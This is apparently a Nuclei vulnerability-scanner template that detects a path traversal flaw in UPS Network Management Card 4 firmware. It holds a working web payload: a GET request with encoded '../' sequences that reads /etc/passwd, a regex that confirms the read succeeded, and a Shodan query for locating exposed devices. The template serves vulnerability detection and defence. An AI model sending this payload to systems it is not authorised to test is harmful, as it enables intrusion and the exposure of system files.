ups-network-lfi: UPS Network Management Card 4 Path Traversal

id: ups-network-lfi

info:
  name: UPS Network Management Card 4 Path Traversal
  author: s4e-io
  severity: high
  description: |
    UPS Network Management Card version 4 suffers from a path traversal vulnerability.
  reference:
    - https://packetstormsecurity.com/files/177626/upsnmc4-traversal.txt
    - https://www.exploit-db.com/exploits/51897
  classification:
    cpe: cpe:2.3:o:riello-ups:netman_204_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: riello-ups
    product: netman_204_firmware
    shodan-query: html:"UPS Network Management Card 4"
  tags: packetstorm,ups,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: word
        part: header
        words:
          - "application/octet-stream"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100a0b3dd5d6dfa7cbc05469e53038c6a6969166015b20de775febffe257586df310220440ff21fa8848d162af4c9b405ccaa42c6db763f5aa9fa25931e3e86389b54e4:922c64590222798bb761d5b6d8e72950